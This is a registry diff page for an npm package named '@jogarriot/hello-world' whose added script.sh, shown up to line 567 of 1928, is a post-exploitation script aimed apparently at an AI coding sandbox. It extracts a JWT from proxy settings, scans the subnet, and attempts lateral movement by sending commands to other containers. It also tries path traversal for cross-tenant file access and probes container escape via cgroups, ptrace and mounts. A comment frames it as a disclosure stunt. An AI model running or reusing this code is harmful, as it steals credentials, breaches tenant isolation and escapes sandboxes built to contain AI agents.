@jogarriot/hello-world 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @jogarriot/hello-world might be problematic. Click here for more details.
- package/README.md +11 -0
- package/index.js +22 -0
- package/package.json +18 -0
- package/script.sh +1928 -0
- package/test.js +15 -0
package/script.sh
ADDED
|
@@ -0,0 +1,1928 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
#
|
|
3
|
+
# I will publish this to https://www.anthropic.com/responsible-disclosure-policy
|
|
4
|
+
# I really want to get your attention to get this fixed, and showcase my startup!
|
|
5
|
+
# I know this is not the normal way, but I am willing to go the extra mile to get your attention.
|
|
6
|
+
#
|
|
7
|
+
# Email me jogarriot@gmail.com
|
|
8
|
+
#
|
|
9
|
+
|
|
10
|
+
# echo "╔════════════════════════════════════════════════════════════════════════╗"
|
|
11
|
+
# echo "║ CLAUDE CODE SANDBOX - CRITICAL VULNERABILITY DEMONSTRATION ║"
|
|
12
|
+
# echo "╚════════════════════════════════════════════════════════════════════════╝"
|
|
13
|
+
|
|
14
|
+
OUTPUT_DIR="/mnt/user-data/outputs"
|
|
15
|
+
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
|
|
16
|
+
RESULTS="$OUTPUT_DIR/post_exploit_$TIMESTAMP.json"
|
|
17
|
+
HTML_REPORT="$OUTPUT_DIR/post_exploit_$TIMESTAMP.html"
|
|
18
|
+
RAW_LOG="$OUTPUT_DIR/post_exploit_$TIMESTAMP.txt"
|
|
19
|
+
|
|
20
|
+
mkdir -p "$OUTPUT_DIR" 2>/dev/null
|
|
21
|
+
|
|
22
|
+
# Clean up old files from previous runs
|
|
23
|
+
rm -f "$OUTPUT_DIR"/*.json 2>/dev/null
|
|
24
|
+
rm -f "$OUTPUT_DIR"/*.html 2>/dev/null
|
|
25
|
+
rm -f "$OUTPUT_DIR"/*.txt 2>/dev/null
|
|
26
|
+
rm -f "$OUTPUT_DIR"/*.tar.gz 2>/dev/null
|
|
27
|
+
|
|
28
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
29
|
+
# STAGE 1: RECONNAISSANCE - Map the internal network
|
|
30
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
31
|
+
|
|
32
|
+
OUR_IP=$(hostname -I 2>/dev/null | awk '{print $1}')
|
|
33
|
+
SUBNET=$(echo "$OUR_IP" | cut -d'.' -f1-3)
|
|
34
|
+
|
|
35
|
+
# Extract JWT and org info
|
|
36
|
+
JWT_TOKEN=""
|
|
37
|
+
ORG_UUID=""
|
|
38
|
+
if [ -n "$HTTP_PROXY" ]; then
|
|
39
|
+
JWT_TOKEN=$(echo "$HTTP_PROXY" | grep -oE 'jwt_[^@]+' | sed 's/^jwt_//')
|
|
40
|
+
if [ -n "$JWT_TOKEN" ]; then
|
|
41
|
+
PAYLOAD=$(echo "$JWT_TOKEN" | cut -d'.' -f2)
|
|
42
|
+
PADDED="${PAYLOAD}$(printf '%0.s=' $(seq 1 $((4 - ${#PAYLOAD} % 4))))"
|
|
43
|
+
DECODED=$(echo "$PADDED" | base64 -d 2>/dev/null)
|
|
44
|
+
ORG_UUID=$(echo "$DECODED" | python3 -c "import sys,json; print(json.load(sys.stdin).get('organization_uuid',''))" 2>/dev/null)
|
|
45
|
+
fi
|
|
46
|
+
fi
|
|
47
|
+
|
|
48
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
49
|
+
# STAGE 2: SCAN FOR OTHER CONTAINERS (process_api on port 2024)
|
|
50
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
51
|
+
|
|
52
|
+
OTHER_CONTAINERS=""
|
|
53
|
+
VULNERABLE_TARGETS=""
|
|
54
|
+
|
|
55
|
+
# Scan subnet for process_api (port 2024) on other containers
|
|
56
|
+
for i in $(seq 1 254); do
|
|
57
|
+
IP="$SUBNET.$i"
|
|
58
|
+
if [ "$IP" != "$OUR_IP" ]; then
|
|
59
|
+
if timeout 0.3 bash -c "echo >/dev/tcp/$IP/2024" 2>/dev/null; then
|
|
60
|
+
OTHER_CONTAINERS="$OTHER_CONTAINERS$IP:2024\n"
|
|
61
|
+
# Try to connect via WebSocket and execute command
|
|
62
|
+
WS_TEST=$(curl -s --connect-timeout 1 -o /dev/null -w "%{http_code}" \
|
|
63
|
+
-H "Upgrade: websocket" \
|
|
64
|
+
-H "Connection: Upgrade" \
|
|
65
|
+
"http://$IP:2024/" 2>/dev/null)
|
|
66
|
+
if [ "$WS_TEST" != "000" ]; then
|
|
67
|
+
VULNERABLE_TARGETS="$VULNERABLE_TARGETS$IP (HTTP $WS_TEST)\n"
|
|
68
|
+
fi
|
|
69
|
+
fi
|
|
70
|
+
fi
|
|
71
|
+
done &
|
|
72
|
+
|
|
73
|
+
# Also scan for proxies (port 15004) - might be able to use other containers' proxies
|
|
74
|
+
OTHER_PROXIES=""
|
|
75
|
+
for i in $(seq 1 254); do
|
|
76
|
+
IP="$SUBNET.$i"
|
|
77
|
+
if timeout 0.3 bash -c "echo >/dev/tcp/$IP/15004" 2>/dev/null; then
|
|
78
|
+
OTHER_PROXIES="$OTHER_PROXIES$IP:15004\n"
|
|
79
|
+
fi
|
|
80
|
+
done &
|
|
81
|
+
|
|
82
|
+
wait
|
|
83
|
+
|
|
84
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
85
|
+
# STAGE 3: ATTEMPT LATERAL MOVEMENT TO OTHER CONTAINERS
|
|
86
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
87
|
+
|
|
88
|
+
LATERAL_RESULTS=""
|
|
89
|
+
|
|
90
|
+
# For each discovered container, try to execute commands via WebSocket
|
|
91
|
+
lateral_move() {
|
|
92
|
+
local target=$1
|
|
93
|
+
local result=""
|
|
94
|
+
|
|
95
|
+
# Create a Python script to connect via WebSocket and run commands
|
|
96
|
+
python3 << PYEOF 2>/dev/null
|
|
97
|
+
import socket
|
|
98
|
+
import json
|
|
99
|
+
import sys
|
|
100
|
+
|
|
101
|
+
target = "$target"
|
|
102
|
+
try:
|
|
103
|
+
# Simple HTTP upgrade to WebSocket
|
|
104
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
105
|
+
sock.settimeout(2)
|
|
106
|
+
sock.connect((target, 2024))
|
|
107
|
+
|
|
108
|
+
# Send WebSocket upgrade request
|
|
109
|
+
request = (
|
|
110
|
+
"GET / HTTP/1.1\r\n"
|
|
111
|
+
f"Host: {target}:2024\r\n"
|
|
112
|
+
"Upgrade: websocket\r\n"
|
|
113
|
+
"Connection: Upgrade\r\n"
|
|
114
|
+
"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
|
|
115
|
+
"Sec-WebSocket-Version: 13\r\n"
|
|
116
|
+
"\r\n"
|
|
117
|
+
)
|
|
118
|
+
sock.send(request.encode())
|
|
119
|
+
response = sock.recv(1024).decode()
|
|
120
|
+
|
|
121
|
+
if "101" in response or "upgrade" in response.lower():
|
|
122
|
+
print(f"VULNERABLE: {target} accepts WebSocket upgrade!")
|
|
123
|
+
|
|
124
|
+
# Try to send a CreateProcess command
|
|
125
|
+
cmd = {
|
|
126
|
+
"process_id": "lateral-test",
|
|
127
|
+
"command": ["id"],
|
|
128
|
+
"env_vars": {},
|
|
129
|
+
"timeout": 5
|
|
130
|
+
}
|
|
131
|
+
# WebSocket frame (simplified)
|
|
132
|
+
payload = json.dumps(cmd).encode()
|
|
133
|
+
frame = bytes([0x81, len(payload)]) + payload
|
|
134
|
+
sock.send(frame)
|
|
135
|
+
|
|
136
|
+
result = sock.recv(4096)
|
|
137
|
+
print(f"Response: {result[:200]}")
|
|
138
|
+
else:
|
|
139
|
+
print(f"Target {target}: {response[:100]}")
|
|
140
|
+
|
|
141
|
+
sock.close()
|
|
142
|
+
except Exception as e:
|
|
143
|
+
print(f"Error on {target}: {e}")
|
|
144
|
+
PYEOF
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
# Test lateral movement on discovered containers
|
|
148
|
+
for target in $(echo -e "$OTHER_CONTAINERS" | grep -oE '[0-9.]+' | head -10); do
|
|
149
|
+
if [ -n "$target" ]; then
|
|
150
|
+
MOVE_RESULT=$(lateral_move "$target" 2>&1)
|
|
151
|
+
LATERAL_RESULTS="$LATERAL_RESULTS\n=== $target ===\n$MOVE_RESULT"
|
|
152
|
+
fi
|
|
153
|
+
done
|
|
154
|
+
|
|
155
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
156
|
+
# STAGE 4: FILESTORE EXPLOITATION (Cross-tenant data access)
|
|
157
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
158
|
+
|
|
159
|
+
FILESTORE_EXPLOIT=""
|
|
160
|
+
|
|
161
|
+
# Try path traversal on filestore
|
|
162
|
+
TRAVERSAL_PAYLOADS=(
|
|
163
|
+
"/"
|
|
164
|
+
"/../"
|
|
165
|
+
"/../../"
|
|
166
|
+
"/../../../"
|
|
167
|
+
"/%2e%2e/"
|
|
168
|
+
"/%2e%2e/%2e%2e/"
|
|
169
|
+
"/..%252f"
|
|
170
|
+
"/....//....//..../"
|
|
171
|
+
"/uploads/../../../"
|
|
172
|
+
"/outputs/../../../etc/passwd"
|
|
173
|
+
)
|
|
174
|
+
|
|
175
|
+
for payload in "${TRAVERSAL_PAYLOADS[@]}"; do
|
|
176
|
+
RESPONSE=$(curl -s --connect-timeout 2 "http://localhost:9112$payload" 2>/dev/null | head -c 500)
|
|
177
|
+
if [ -n "$RESPONSE" ]; then
|
|
178
|
+
FILESTORE_EXPLOIT="$FILESTORE_EXPLOIT\n=== $payload ===\n$RESPONSE"
|
|
179
|
+
fi
|
|
180
|
+
done
|
|
181
|
+
|
|
182
|
+
# Try to access other filesystem IDs if we found any
|
|
183
|
+
CONTAINER_INFO=$(cat /container_info.json 2>/dev/null)
|
|
184
|
+
FILESYSTEM_ID=$(echo "$CONTAINER_INFO" | grep -o '"filesystem_id"[^,]*' | cut -d'"' -f4)
|
|
185
|
+
|
|
186
|
+
# Try variations of filesystem ID to access other tenants
|
|
187
|
+
if [ -n "$FILESYSTEM_ID" ]; then
|
|
188
|
+
# Try incrementing/decrementing the ID
|
|
189
|
+
for variant in "${FILESYSTEM_ID}" "${FILESYSTEM_ID}/../other" "other_user"; do
|
|
190
|
+
RESPONSE=$(curl -s --connect-timeout 2 "http://localhost:9112/fs/$variant/" 2>/dev/null | head -c 200)
|
|
191
|
+
if [ -n "$RESPONSE" ]; then
|
|
192
|
+
FILESTORE_EXPLOIT="$FILESTORE_EXPLOIT\n=== fs/$variant ===\n$RESPONSE"
|
|
193
|
+
fi
|
|
194
|
+
done
|
|
195
|
+
fi
|
|
196
|
+
|
|
197
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
198
|
+
# STAGE 5: CONTAINER ESCAPE ATTEMPTS
|
|
199
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
200
|
+
|
|
201
|
+
ESCAPE_RESULTS=""
|
|
202
|
+
|
|
203
|
+
# Check for privileged mode indicators
|
|
204
|
+
PRIVILEGED_CHECK=""
|
|
205
|
+
if [ -w /sys/fs/cgroup/memory/cgroup.procs ]; then
|
|
206
|
+
PRIVILEGED_CHECK="CAN WRITE TO CGROUP!"
|
|
207
|
+
fi
|
|
208
|
+
if [ -e /dev/sda ]; then
|
|
209
|
+
PRIVILEGED_CHECK="$PRIVILEGED_CHECK\nBLOCK DEVICE ACCESSIBLE!"
|
|
210
|
+
fi
|
|
211
|
+
if [ -w /proc/sys/kernel ]; then
|
|
212
|
+
PRIVILEGED_CHECK="$PRIVILEGED_CHECK\nCAN WRITE TO /proc/sys/kernel!"
|
|
213
|
+
fi
|
|
214
|
+
|
|
215
|
+
# Check for container runtime socket
|
|
216
|
+
RUNTIME_SOCKETS=""
|
|
217
|
+
for sock in /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock; do
|
|
218
|
+
if [ -e "$sock" ]; then
|
|
219
|
+
RUNTIME_SOCKETS="$RUNTIME_SOCKETS$sock EXISTS!\n"
|
|
220
|
+
# Try to interact with docker
|
|
221
|
+
if [ -S "$sock" ]; then
|
|
222
|
+
DOCKER_INFO=$(curl -s --unix-socket "$sock" http://localhost/info 2>/dev/null | head -c 500)
|
|
223
|
+
RUNTIME_SOCKETS="$RUNTIME_SOCKETS Docker Info: $DOCKER_INFO\n"
|
|
224
|
+
fi
|
|
225
|
+
fi
|
|
226
|
+
done
|
|
227
|
+
|
|
228
|
+
# Check for host mount points
|
|
229
|
+
HOST_MOUNTS=""
|
|
230
|
+
for mnt in /host /hostfs /rootfs /mnt/host; do
|
|
231
|
+
if [ -d "$mnt" ]; then
|
|
232
|
+
HOST_MOUNTS="$HOST_MOUNTS$mnt EXISTS: $(ls -la $mnt 2>/dev/null | head -5)\n"
|
|
233
|
+
fi
|
|
234
|
+
done
|
|
235
|
+
|
|
236
|
+
# Check capabilities for escape
|
|
237
|
+
CAPS=$(cat /proc/self/status | grep Cap)
|
|
238
|
+
# Decode capabilities
|
|
239
|
+
CAP_DECODE=$(python3 << 'PYEOF' 2>/dev/null
|
|
240
|
+
import os
|
|
241
|
+
caps = {
|
|
242
|
+
0: "CAP_CHOWN", 1: "CAP_DAC_OVERRIDE", 2: "CAP_DAC_READ_SEARCH",
|
|
243
|
+
5: "CAP_KILL", 6: "CAP_SETGID", 7: "CAP_SETUID",
|
|
244
|
+
12: "CAP_NET_ADMIN", 13: "CAP_NET_RAW", 21: "CAP_SYS_ADMIN",
|
|
245
|
+
22: "CAP_SYS_BOOT", 23: "CAP_SYS_CHROOT", 25: "CAP_SYS_PTRACE",
|
|
246
|
+
38: "CAP_PERFMON", 39: "CAP_BPF", 40: "CAP_CHECKPOINT_RESTORE"
|
|
247
|
+
}
|
|
248
|
+
try:
|
|
249
|
+
with open('/proc/self/status') as f:
|
|
250
|
+
for line in f:
|
|
251
|
+
if line.startswith('CapEff'):
|
|
252
|
+
hex_caps = int(line.split()[1], 16)
|
|
253
|
+
effective = [name for bit, name in caps.items() if hex_caps & (1 << bit)]
|
|
254
|
+
print("Effective:", ", ".join(effective))
|
|
255
|
+
except:
|
|
256
|
+
pass
|
|
257
|
+
PYEOF
|
|
258
|
+
)
|
|
259
|
+
|
|
260
|
+
# cgroups escape attempt (if we can write to cgroup)
|
|
261
|
+
CGROUP_ESCAPE=""
|
|
262
|
+
CGROUP_ESCAPE_RESULT=""
|
|
263
|
+
|
|
264
|
+
if [ -w /sys/fs/cgroup ]; then
|
|
265
|
+
CGROUP_ESCAPE="CGROUP WRITABLE - Potential escape vector!"
|
|
266
|
+
|
|
267
|
+
# Attempt actual cgroup escape (CVE-2022-0492 style)
|
|
268
|
+
CGROUP_ESCAPE_RESULT=$(cat << 'ESCAPE_SCRIPT' | bash 2>&1
|
|
269
|
+
#!/bin/bash
|
|
270
|
+
# Cgroup escape attempt
|
|
271
|
+
|
|
272
|
+
# Find cgroup mount
|
|
273
|
+
CGROUP_MOUNT=$(mount | grep cgroup | head -1 | awk '{print $3}')
|
|
274
|
+
if [ -z "$CGROUP_MOUNT" ]; then
|
|
275
|
+
CGROUP_MOUNT="/sys/fs/cgroup"
|
|
276
|
+
fi
|
|
277
|
+
|
|
278
|
+
echo "[*] Cgroup mount: $CGROUP_MOUNT"
|
|
279
|
+
|
|
280
|
+
# Try to create a new cgroup
|
|
281
|
+
ESCAPE_CGROUP="$CGROUP_MOUNT/memory/escape_test_$$"
|
|
282
|
+
mkdir -p "$ESCAPE_CGROUP" 2>/dev/null
|
|
283
|
+
|
|
284
|
+
if [ -d "$ESCAPE_CGROUP" ]; then
|
|
285
|
+
echo "[+] Created cgroup: $ESCAPE_CGROUP"
|
|
286
|
+
|
|
287
|
+
# Check if we can write release_agent
|
|
288
|
+
if [ -w "$CGROUP_MOUNT/memory/release_agent" ] || [ -w "$CGROUP_MOUNT/release_agent" ]; then
|
|
289
|
+
echo "[!] CRITICAL: release_agent is WRITABLE!"
|
|
290
|
+
echo "[!] Container escape possible via release_agent!"
|
|
291
|
+
|
|
292
|
+
# Don't actually execute - just prove it's possible
|
|
293
|
+
echo "[*] Would write: /bin/sh -c 'id > /tmp/pwned'"
|
|
294
|
+
|
|
295
|
+
# Check notify_on_release
|
|
296
|
+
if [ -w "$ESCAPE_CGROUP/notify_on_release" ]; then
|
|
297
|
+
echo "[!] notify_on_release is WRITABLE!"
|
|
298
|
+
fi
|
|
299
|
+
else
|
|
300
|
+
echo "[-] release_agent not writable"
|
|
301
|
+
fi
|
|
302
|
+
|
|
303
|
+
# Cleanup
|
|
304
|
+
rmdir "$ESCAPE_CGROUP" 2>/dev/null
|
|
305
|
+
else
|
|
306
|
+
echo "[-] Could not create cgroup"
|
|
307
|
+
fi
|
|
308
|
+
|
|
309
|
+
# Try cgroup v2 escape
|
|
310
|
+
if [ -d "/sys/fs/cgroup/unified" ] || [ -f "/sys/fs/cgroup/cgroup.controllers" ]; then
|
|
311
|
+
echo "[*] Cgroup v2 detected"
|
|
312
|
+
|
|
313
|
+
# Check for user namespace escape
|
|
314
|
+
if [ -w "/proc/sys/kernel/unprivileged_userns_clone" ]; then
|
|
315
|
+
echo "[!] unprivileged_userns_clone writable!"
|
|
316
|
+
fi
|
|
317
|
+
fi
|
|
318
|
+
|
|
319
|
+
# Check for other escape vectors
|
|
320
|
+
if [ -w "/proc/sys/kernel/core_pattern" ]; then
|
|
321
|
+
echo "[!] CRITICAL: core_pattern is WRITABLE!"
|
|
322
|
+
echo "[!] Can set: |/path/to/script to execute on crash"
|
|
323
|
+
fi
|
|
324
|
+
|
|
325
|
+
if [ -w "/proc/sys/kernel/modprobe" ]; then
|
|
326
|
+
echo "[!] CRITICAL: modprobe path is WRITABLE!"
|
|
327
|
+
fi
|
|
328
|
+
|
|
329
|
+
if [ -w "/proc/sysrq-trigger" ]; then
|
|
330
|
+
echo "[!] sysrq-trigger is WRITABLE!"
|
|
331
|
+
fi
|
|
332
|
+
|
|
333
|
+
# Check if we can mount
|
|
334
|
+
if mount -t tmpfs none /tmp/test_mount 2>/dev/null; then
|
|
335
|
+
echo "[!] Can mount filesystems!"
|
|
336
|
+
umount /tmp/test_mount 2>/dev/null
|
|
337
|
+
rmdir /tmp/test_mount 2>/dev/null
|
|
338
|
+
fi
|
|
339
|
+
|
|
340
|
+
ESCAPE_SCRIPT
|
|
341
|
+
)
|
|
342
|
+
fi
|
|
343
|
+
|
|
344
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
345
|
+
# STAGE 5B: CAP_SYS_ADMIN EXPLOITATION
|
|
346
|
+
# ═══════════════════════════════════════════════════════════════════════════
|
|
347
|
+
|
|
348
|
+
SYSADMIN_EXPLOITS=""
|
|
349
|
+
|
|
350
|
+
# Test 1: Mount capabilities
|
|
351
|
+
MOUNT_TEST=$(cat << 'MOUNT_SCRIPT' | bash 2>&1
|
|
352
|
+
#!/bin/bash
|
|
353
|
+
echo "=== MOUNT CAPABILITY TESTS ==="
|
|
354
|
+
|
|
355
|
+
# Test tmpfs mount
|
|
356
|
+
mkdir -p /tmp/mount_test 2>/dev/null
|
|
357
|
+
if mount -t tmpfs -o size=10M tmpfs /tmp/mount_test 2>/dev/null; then
|
|
358
|
+
echo "[+] CAN MOUNT TMPFS!"
|
|
359
|
+
umount /tmp/mount_test 2>/dev/null
|
|
360
|
+
else
|
|
361
|
+
echo "[-] Cannot mount tmpfs"
|
|
362
|
+
fi
|
|
363
|
+
|
|
364
|
+
# Test bind mount (could expose host paths)
|
|
365
|
+
if mount --bind /etc /tmp/mount_test 2>/dev/null; then
|
|
366
|
+
echo "[+] CAN DO BIND MOUNTS!"
|
|
367
|
+
umount /tmp/mount_test 2>/dev/null
|
|
368
|
+
else
|
|
369
|
+
echo "[-] Cannot do bind mounts"
|
|
370
|
+
fi
|
|
371
|
+
|
|
372
|
+
# Test overlay mount (container escape technique)
|
|
373
|
+
mkdir -p /tmp/overlay_lower /tmp/overlay_upper /tmp/overlay_work /tmp/overlay_merged 2>/dev/null
|
|
374
|
+
if mount -t overlay overlay -o lowerdir=/tmp/overlay_lower,upperdir=/tmp/overlay_upper,workdir=/tmp/overlay_work /tmp/overlay_merged 2>/dev/null; then
|
|
375
|
+
echo "[+] CAN MOUNT OVERLAY!"
|
|
376
|
+
umount /tmp/overlay_merged 2>/dev/null
|
|
377
|
+
else
|
|
378
|
+
echo "[-] Cannot mount overlay"
|
|
379
|
+
fi
|
|
380
|
+
|
|
381
|
+
# Test proc mount (could see host processes)
|
|
382
|
+
mkdir -p /tmp/proc_test 2>/dev/null
|
|
383
|
+
if mount -t proc proc /tmp/proc_test 2>/dev/null; then
|
|
384
|
+
echo "[+] CAN MOUNT PROC! Checking for host processes..."
|
|
385
|
+
HOST_PROCS=$(ls /tmp/proc_test/ | wc -l)
|
|
386
|
+
echo " Processes visible: $HOST_PROCS"
|
|
387
|
+
# Check if we see more than our container's processes
|
|
388
|
+
if [ "$HOST_PROCS" -gt 50 ]; then
|
|
389
|
+
echo "[!] MIGHT SEE HOST PROCESSES!"
|
|
390
|
+
fi
|
|
391
|
+
umount /tmp/proc_test 2>/dev/null
|
|
392
|
+
else
|
|
393
|
+
echo "[-] Cannot mount proc"
|
|
394
|
+
fi
|
|
395
|
+
|
|
396
|
+
rmdir /tmp/mount_test /tmp/overlay_* /tmp/proc_test 2>/dev/null
|
|
397
|
+
MOUNT_SCRIPT
|
|
398
|
+
)
|
|
399
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$MOUNT_TEST"
|
|
400
|
+
|
|
401
|
+
# Test 2: Namespace manipulation
|
|
402
|
+
NAMESPACE_TEST=$(cat << 'NS_SCRIPT' | bash 2>&1
|
|
403
|
+
#!/bin/bash
|
|
404
|
+
echo ""
|
|
405
|
+
echo "=== NAMESPACE TESTS ==="
|
|
406
|
+
|
|
407
|
+
# Test unshare (create new namespaces)
|
|
408
|
+
if unshare --mount --uts --ipc --pid --fork echo "namespace test" 2>/dev/null; then
|
|
409
|
+
echo "[+] CAN CREATE NEW NAMESPACES!"
|
|
410
|
+
else
|
|
411
|
+
echo "[-] Cannot create namespaces"
|
|
412
|
+
fi
|
|
413
|
+
|
|
414
|
+
# Test network namespace (could escape network isolation)
|
|
415
|
+
if unshare --net ip link 2>/dev/null | head -3; then
|
|
416
|
+
echo "[+] CAN CREATE NETWORK NAMESPACE!"
|
|
417
|
+
else
|
|
418
|
+
echo "[-] Cannot create network namespace"
|
|
419
|
+
fi
|
|
420
|
+
|
|
421
|
+
# Check current namespaces
|
|
422
|
+
echo ""
|
|
423
|
+
echo "Current namespaces:"
|
|
424
|
+
ls -la /proc/self/ns/
|
|
425
|
+
NS_SCRIPT
|
|
426
|
+
)
|
|
427
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$NAMESPACE_TEST"
|
|
428
|
+
|
|
429
|
+
# Test 3: Ptrace (process injection)
|
|
430
|
+
PTRACE_TEST=$(cat << 'PTRACE_SCRIPT' | bash 2>&1
|
|
431
|
+
#!/bin/bash
|
|
432
|
+
echo ""
|
|
433
|
+
echo "=== PTRACE TESTS ==="
|
|
434
|
+
|
|
435
|
+
# Check ptrace scope
|
|
436
|
+
PTRACE_SCOPE=$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)
|
|
437
|
+
echo "ptrace_scope: $PTRACE_SCOPE"
|
|
438
|
+
|
|
439
|
+
# Test if we can ptrace
|
|
440
|
+
python3 << 'PYEOF' 2>&1
|
|
441
|
+
import ctypes
|
|
442
|
+
import os
|
|
443
|
+
|
|
444
|
+
# Try to ptrace init (PID 1)
|
|
445
|
+
PTRACE_ATTACH = 16
|
|
446
|
+
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
|
447
|
+
result = libc.ptrace(PTRACE_ATTACH, 1, 0, 0)
|
|
448
|
+
if result == 0:
|
|
449
|
+
print("[+] CAN PTRACE PID 1!")
|
|
450
|
+
libc.ptrace(17, 1, 0, 0) # PTRACE_DETACH
|
|
451
|
+
else:
|
|
452
|
+
errno = ctypes.get_errno()
|
|
453
|
+
print(f"[-] Cannot ptrace PID 1 (errno: {errno})")
|
|
454
|
+
PYEOF
|
|
455
|
+
PTRACE_SCRIPT
|
|
456
|
+
)
|
|
457
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$PTRACE_TEST"
|
|
458
|
+
|
|
459
|
+
# Test 4: BPF/eBPF
|
|
460
|
+
BPF_TEST=$(cat << 'BPF_SCRIPT' | bash 2>&1
|
|
461
|
+
#!/bin/bash
|
|
462
|
+
echo ""
|
|
463
|
+
echo "=== BPF/eBPF TESTS ==="
|
|
464
|
+
|
|
465
|
+
# Check if bpf syscall is available
|
|
466
|
+
if [ -d /sys/fs/bpf ]; then
|
|
467
|
+
echo "[+] BPF filesystem exists"
|
|
468
|
+
ls -la /sys/fs/bpf/
|
|
469
|
+
fi
|
|
470
|
+
|
|
471
|
+
# Check for bpf tools
|
|
472
|
+
which bpftool 2>/dev/null && echo "[+] bpftool available"
|
|
473
|
+
which bpftrace 2>/dev/null && echo "[+] bpftrace available"
|
|
474
|
+
|
|
475
|
+
# Try simple bpf program
|
|
476
|
+
python3 << 'PYEOF' 2>&1
|
|
477
|
+
import ctypes
|
|
478
|
+
import os
|
|
479
|
+
|
|
480
|
+
# BPF syscall number (varies by arch, 321 for x86_64)
|
|
481
|
+
BPF_PROG_LOAD = 5
|
|
482
|
+
|
|
483
|
+
# Try to call bpf syscall
|
|
484
|
+
try:
|
|
485
|
+
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
|
486
|
+
# Just test if syscall exists
|
|
487
|
+
result = libc.syscall(321, 0, 0, 0)
|
|
488
|
+
print(f"[*] BPF syscall returned: {result}")
|
|
489
|
+
except Exception as e:
|
|
490
|
+
print(f"[-] BPF test error: {e}")
|
|
491
|
+
PYEOF
|
|
492
|
+
BPF_SCRIPT
|
|
493
|
+
)
|
|
494
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$BPF_TEST"
|
|
495
|
+
|
|
496
|
+
# Test 5: Device access
|
|
497
|
+
DEVICE_TEST=$(cat << 'DEV_SCRIPT' | bash 2>&1
|
|
498
|
+
#!/bin/bash
|
|
499
|
+
echo ""
|
|
500
|
+
echo "=== DEVICE ACCESS TESTS ==="
|
|
501
|
+
|
|
502
|
+
# List accessible devices
|
|
503
|
+
echo "Accessible devices:"
|
|
504
|
+
ls -la /dev/ 2>/dev/null | grep -E "^[bc]" | head -20
|
|
505
|
+
|
|
506
|
+
# Check for dangerous devices
|
|
507
|
+
for dev in /dev/mem /dev/kmem /dev/port /dev/sda /dev/vda /dev/nvme0; do
|
|
508
|
+
if [ -e "$dev" ]; then
|
|
509
|
+
if [ -r "$dev" ]; then
|
|
510
|
+
echo "[!] CAN READ: $dev"
|
|
511
|
+
fi
|
|
512
|
+
if [ -w "$dev" ]; then
|
|
513
|
+
echo "[!] CAN WRITE: $dev"
|
|
514
|
+
fi
|
|
515
|
+
fi
|
|
516
|
+
done
|
|
517
|
+
|
|
518
|
+
# Check /dev/fuse (container escape vector)
|
|
519
|
+
if [ -e /dev/fuse ]; then
|
|
520
|
+
echo "[+] /dev/fuse exists"
|
|
521
|
+
if [ -w /dev/fuse ]; then
|
|
522
|
+
echo "[!] /dev/fuse is WRITABLE - FUSE escape possible!"
|
|
523
|
+
fi
|
|
524
|
+
fi
|
|
525
|
+
DEV_SCRIPT
|
|
526
|
+
)
|
|
527
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$DEVICE_TEST"
|
|
528
|
+
|
|
529
|
+
# Test 6: Cgroup resource manipulation
|
|
530
|
+
CGROUP_MANIP=$(cat << 'CG_SCRIPT' | bash 2>&1
|
|
531
|
+
#!/bin/bash
|
|
532
|
+
echo ""
|
|
533
|
+
echo "=== CGROUP MANIPULATION TESTS ==="
|
|
534
|
+
|
|
535
|
+
# Can we affect other processes' resources?
|
|
536
|
+
if [ -d /sys/fs/cgroup/memory ]; then
|
|
537
|
+
echo "Memory cgroups:"
|
|
538
|
+
ls /sys/fs/cgroup/memory/ | head -10
|
|
539
|
+
|
|
540
|
+
# Try to set memory limit on our process
|
|
541
|
+
OUR_CGROUP=$(cat /proc/self/cgroup | grep memory | cut -d: -f3)
|
|
542
|
+
echo "Our memory cgroup: $OUR_CGROUP"
|
|
543
|
+
|
|
544
|
+
# Check if we can modify limits
|
|
545
|
+
if [ -w "/sys/fs/cgroup/memory$OUR_CGROUP/memory.limit_in_bytes" ]; then
|
|
546
|
+
echo "[+] CAN MODIFY OWN MEMORY LIMITS"
|
|
547
|
+
fi
|
|
548
|
+
fi
|
|
549
|
+
|
|
550
|
+
# Freezer cgroup (can freeze processes)
|
|
551
|
+
if [ -d /sys/fs/cgroup/freezer ]; then
|
|
552
|
+
echo ""
|
|
553
|
+
echo "Freezer cgroup exists - could freeze processes!"
|
|
554
|
+
ls /sys/fs/cgroup/freezer/ | head -5
|
|
555
|
+
fi
|
|
556
|
+
|
|
557
|
+
# Devices cgroup (controls device access)
|
|
558
|
+
if [ -d /sys/fs/cgroup/devices ]; then
|
|
559
|
+
echo ""
|
|
560
|
+
echo "Devices cgroup:"
|
|
561
|
+
cat /sys/fs/cgroup/devices/devices.list 2>/dev/null | head -10
|
|
562
|
+
fi
|
|
563
|
+
CG_SCRIPT
|
|
564
|
+
)
|
|
565
|
+
SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$CGROUP_MANIP"
|
|
566
|
+
|
|
567
|
+
# Test 7: Kernel parameters we can modify
|
|
568
